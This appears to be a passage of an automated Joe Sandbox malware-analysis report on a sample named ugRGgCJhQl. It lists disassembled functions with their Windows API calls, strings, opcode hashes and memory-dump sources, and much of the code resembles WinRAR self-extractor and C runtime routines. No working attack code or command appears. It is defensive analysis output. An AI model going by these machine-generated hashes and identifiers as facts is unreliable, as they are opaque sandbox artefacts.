                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                        • MoveFileW.KERNEL32(?,?), ref: 002E94D4
                                                                        • MoveFileW.KERNEL32(?,?), ref: 002E9514
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
                                                                        • String ID: rtmp%d
                                                                        • API String ID: 3726343395-3303766350
                                                                        • Opcode ID: 05f4a72a29195d9da6b9a978db4e6268800c3b98827faec72de60c737f6a5df2
                                                                        • Instruction ID: 0a22846d7934fa9d27d4459e984b8ed2a9299ba736a500fd9dfe7a59167e3778
                                                                        • Opcode Fuzzy Hash: 05f4a72a29195d9da6b9a978db4e6268800c3b98827faec72de60c737f6a5df2
                                                                        • Instruction Fuzzy Hash: 65416771960299A5CF21EFA1CC45EEE737CAF45340FC048A6B64AF3051DA348BE98F60
                                                                        Function 002E1100 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 119COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen
                                                                        • String ID: U/$p/$z/
                                                                        • API String ID: 176396367-338029229
                                                                        • Opcode ID: e21a1158c418017268e26bb1ef9104c5719e1d7ca785baeae897b1263f7fcec3
                                                                        • Instruction ID: d41f790bcfce76fba4c77a1cd3e45f35f6efd1e770e0b87cfba28b79b851b829
                                                                        • Opcode Fuzzy Hash: e21a1158c418017268e26bb1ef9104c5719e1d7ca785baeae897b1263f7fcec3
                                                                        • Instruction Fuzzy Hash: AF41D77190066A5BCB119F68CC469EEBBBCEF01310F000129FE46F7241DF30AE658AA0
                                                                        Function 002F9ED5 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ShowWindow.USER32(?,00000000), ref: 002F9EEE
                                                                        • GetWindowRect.USER32(?,00000000), ref: 002F9F44
                                                                        • ShowWindow.USER32(?,00000005,00000000), ref: 002F9FDB
                                                                        • SetWindowTextW.USER32(?,00000000), ref: 002F9FE3
                                                                        • ShowWindow.USER32(00000000,00000005), ref: 002F9FF9
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Window$Show$RectText
                                                                        • String ID: /$RarHtmlClassName
                                                                        • API String ID: 3937224194-803210912
                                                                        • Opcode ID: ec543a2e27ef69c2c81a169a659b904e7bd5f567560cc536242213134de2778d
                                                                        • Instruction ID: 64259c7dcb38bd0421ca005686aec9df543be251a34da76870929ff7ac8dd017
                                                                        • Opcode Fuzzy Hash: ec543a2e27ef69c2c81a169a659b904e7bd5f567560cc536242213134de2778d
                                                                        • Instruction Fuzzy Hash: 8C41E531004218AFCB226F64DC49F6BBBACFF49741F008669FA499A152CB34E954CF61
                                                                        Function 002F1218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __aulldiv.LIBCMT ref: 002F122E
                                                                          • Part of subcall function 002EB146: GetVersionExW.KERNEL32(?), ref: 002EB16B
                                                                        • FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 002F1251
                                                                        • FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 002F1263
                                                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 002F1274
                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 002F1284
                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 002F1294
                                                                        • FileTimeToSystemTime.KERNEL32(?,?,?), ref: 002F12CF
                                                                        • __aullrem.LIBCMT ref: 002F1379
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
                                                                        • String ID:
                                                                        • API String ID: 1247370737-0
                                                                        • Opcode ID: a17af90c59654fd163baeafb845ec7022559297065b4e1d0a2ad69cef01f1ffd
                                                                        • Instruction ID: da0ac94ae71ea1cb1735e279e81c3e1fe57d90873b4fbf2531449b8a36c66c21
                                                                        • Opcode Fuzzy Hash: a17af90c59654fd163baeafb845ec7022559297065b4e1d0a2ad69cef01f1ffd
                                                                        • Instruction Fuzzy Hash: 1841E5B1508345AFC710DF65C8849ABFBE9FB88354F40893EFA9682210E734E659CB52
                                                                        Function 002E2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _swprintf.LIBCMT ref: 002E2536
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                          • Part of subcall function 002F05DA: _wcslen.LIBCMT ref: 002F05E0
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: __vswprintf_c_l_swprintf_wcslen
                                                                        • String ID: ;%u$x%u$xc%u
                                                                        • API String ID: 3053425827-2277559157
                                                                        • Opcode ID: 67e78cd59e9d524080cbc1e5a803ae13e43344b460e3c150f633785f506f9220
                                                                        • Instruction ID: 58b0ac15027f8ae3efac7652252e9593887bb05fac0bcb82d27a61bdcd017f2f
                                                                        • Opcode Fuzzy Hash: 67e78cd59e9d524080cbc1e5a803ae13e43344b460e3c150f633785f506f9220
                                                                        • Instruction Fuzzy Hash: 42F15B706643C1DBCB25DF668491BFD779D6F80300F98056DED879B283CB608869CB62
                                                                        Function 002F9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen
                                                                        • String ID: </p>$</style>$<br>$<style>$>
                                                                        • API String ID: 176396367-3568243669
                                                                        • Opcode ID: 307a56ea592796d5ff5b8677c2710e4f2f5f04ccaf02947cef9742f529e190c8
                                                                        • Instruction ID: 398d934bc812eb9cfdd1c12c5debcf6b082a0f25d094462297b10e013e0b12ea
                                                                        • Opcode Fuzzy Hash: 307a56ea592796d5ff5b8677c2710e4f2f5f04ccaf02947cef9742f529e190c8
                                                                        • Instruction Fuzzy Hash: 1C51F86666132B95DB30AE1598117B6F3E4DFA17D0F64043BEBC18B1C0FB658CE18251
                                                                        Function 0030F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0030FE02,00000000,00000000,00000000,00000000,00000000,?), ref: 0030F6CF
                                                                        • __fassign.LIBCMT ref: 0030F74A
                                                                        • __fassign.LIBCMT ref: 0030F765
                                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0030F78B
                                                                        • WriteFile.KERNEL32(?,00000000,00000000,0030FE02,00000000,?,?,?,?,?,?,?,?,?,0030FE02,00000000), ref: 0030F7AA
                                                                        • WriteFile.KERNEL32(?,00000000,00000001,0030FE02,00000000,?,?,?,?,?,?,?,?,?,0030FE02,00000000), ref: 0030F7E3
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                        • String ID:
                                                                        • API String ID: 1324828854-0
                                                                        • Opcode ID: 06b149b80a84b54e20ecde40ccf4ffd9f3786faa760a82327b593eebbe9ebc79
                                                                        • Instruction ID: cd71cbb4ea0538eb4c3ffd79cc7f882b3e386812fbfc0f76101f04bb1dfb1538
                                                                        • Opcode Fuzzy Hash: 06b149b80a84b54e20ecde40ccf4ffd9f3786faa760a82327b593eebbe9ebc79
                                                                        • Instruction Fuzzy Hash: 0151D7B5E002099FCB21CFA4DC55AEEBBF8EF09300F15816AE551E7291D770EA40CBA0
                                                                        Function 002FCE87 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetTempPathW.KERNEL32(00000800,?), ref: 002FCE9D
                                                                          • Part of subcall function 002EB690: _wcslen.LIBCMT ref: 002EB696
                                                                        • _swprintf.LIBCMT ref: 002FCED1
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                        • SetDlgItemTextW.USER32(?,00000066,0032946A), ref: 002FCEF1
                                                                        • _wcschr.LIBVCRUNTIME ref: 002FCF22
                                                                        • EndDialog.USER32(?,00000001), ref: 002FCFFE
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr_wcslen
                                                                        • String ID: %s%s%u
                                                                        • API String ID: 689974011-1360425832
                                                                        • Opcode ID: 527d1ac4392c1537d072a1a7a9fcdac22d3d794aea9433ff09a66b9f3bd21bac
                                                                        • Instruction ID: b60dfe193d15f4d24dd17da43c95b5df591e98c70e87290984a8c4aefa14c586
                                                                        • Opcode Fuzzy Hash: 527d1ac4392c1537d072a1a7a9fcdac22d3d794aea9433ff09a66b9f3bd21bac
                                                                        • Instruction Fuzzy Hash: 454171B181025DAADF25EF50DC45EFAB7ACAB05380F4080B7FA09E7041EE709A558F61
                                                                        Function 00302900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _ValidateLocalCookies.LIBCMT ref: 00302937
                                                                        • ___except_validate_context_record.LIBVCRUNTIME ref: 0030293F
                                                                        • _ValidateLocalCookies.LIBCMT ref: 003029C8
                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 003029F3
                                                                        • _ValidateLocalCookies.LIBCMT ref: 00302A48
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                        • String ID: csm
                                                                        • API String ID: 1170836740-1018135373
                                                                        • Opcode ID: f760286c07cf76e37876c9ee14a76a5cec0bdb0e2b3cfecf2ad277d7e9b64095
                                                                        • Instruction ID: ec8e9fa1fcb2523975faaf0cc18cda485a2c7412d13f69fc616661c595c4e065
                                                                        • Opcode Fuzzy Hash: f760286c07cf76e37876c9ee14a76a5cec0bdb0e2b3cfecf2ad277d7e9b64095
                                                                        • Instruction Fuzzy Hash: 1D41C434A01208AFCF16DF68C8A9ADFBBF5AF45324F148055E815AB3D2DB71DA51CB90
                                                                        Function 002F9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen
                                                                        • String ID: $&nbsp;$<br>$<style>body{font-family:"Arial";font-size:12;}</style>
                                                                        • API String ID: 176396367-3743748572
                                                                        • Opcode ID: 965712589706e0e3dcd419ec482f99e9d2e10daebd437d730c410f125f2486e9
                                                                        • Instruction ID: a86c7a24296525d21ab9c5eba83cca81deae2861f8bbcb35ea05ea785da1a7ff
                                                                        • Opcode Fuzzy Hash: 965712589706e0e3dcd419ec482f99e9d2e10daebd437d730c410f125f2486e9
                                                                        • Instruction Fuzzy Hash: 2731823665434A56D635AF549C42BB7F3A4EB90760F50443FF6824B2D0FB91ADE083A1
                                                                        Function 0030C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 0030C868: _free.LIBCMT ref: 0030C891
                                                                        • _free.LIBCMT ref: 0030C8F2
                                                                          • Part of subcall function 00308DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34), ref: 00308DE2
                                                                          • Part of subcall function 00308DCC: GetLastError.KERNEL32(00313A34,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34,00313A34), ref: 00308DF4
                                                                        • _free.LIBCMT ref: 0030C8FD
                                                                        • _free.LIBCMT ref: 0030C908
                                                                        • _free.LIBCMT ref: 0030C95C
                                                                        • _free.LIBCMT ref: 0030C967
                                                                        • _free.LIBCMT ref: 0030C972
                                                                        • _free.LIBCMT ref: 0030C97D
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                        • String ID:
                                                                        • API String ID: 776569668-0
                                                                        • Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
                                                                        • Instruction ID: 00a569db8ba85dd9a43999e41484b4a5912f234cf89dcab1220fbd096b6047fb
                                                                        • Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
                                                                        • Instruction Fuzzy Hash: 111163715A2B09BAE522B7B1CC17FCB7BACAF00B00F409E15B2DD6E0D2DA75B5058750
                                                                        Function 002FE5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,002FE669,002FE5CC,002FE86D), ref: 002FE605
                                                                        • GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 002FE61B
                                                                        • GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 002FE630
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc$HandleModule
                                                                        • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                                                                        • API String ID: 667068680-1718035505
                                                                        • Opcode ID: e824bde886f0643f110d91ebd3fdd6bfa665ecd7542cd17049f230e9d7aa16e1
                                                                        • Instruction ID: 15e2c64472eac77e900761587d09d2700eb8a20afd494d1e17ef757c9dda95bf
                                                                        • Opcode Fuzzy Hash: e824bde886f0643f110d91ebd3fdd6bfa665ecd7542cd17049f230e9d7aa16e1
                                                                        • Instruction Fuzzy Hash: 62F0AF35BA072F9B1F234F645C845F6A2CD6A2A7C1702443ADB06DB220EB548CA05B90
                                                                        Function 00308900 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _free.LIBCMT ref: 0030891E
                                                                          • Part of subcall function 00308DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34), ref: 00308DE2
                                                                          • Part of subcall function 00308DCC: GetLastError.KERNEL32(00313A34,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34,00313A34), ref: 00308DF4
                                                                        • _free.LIBCMT ref: 00308930
                                                                        • _free.LIBCMT ref: 00308943
                                                                        • _free.LIBCMT ref: 00308954
                                                                        • _free.LIBCMT ref: 00308965
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                        • String ID: p1
                                                                        • API String ID: 776569668-2136682334
                                                                        • Opcode ID: 670085d0555c9e31cdf1a9e450e98044691f11a3258f1db38e11f37b15062151
                                                                        • Instruction ID: 021bec9a7bdbb2ed1de0783e8b0bb29e431fabfbecaba849c7dc70bcd7e2e8d1
                                                                        • Opcode Fuzzy Hash: 670085d0555c9e31cdf1a9e450e98044691f11a3258f1db38e11f37b15062151
                                                                        • Instruction Fuzzy Hash: F9F030798221238BC6876F14FC114463FA9F72A710B820705F8987E2F1CFB659419B91
                                                                        Function 002F146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 002F14C2
                                                                          • Part of subcall function 002EB146: GetVersionExW.KERNEL32(?), ref: 002EB16B
                                                                        • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 002F14E6
                                                                        • FileTimeToSystemTime.KERNEL32(?,?), ref: 002F1500
                                                                        • TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 002F1513
                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 002F1523
                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 002F1533
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Time$File$System$Local$SpecificVersion
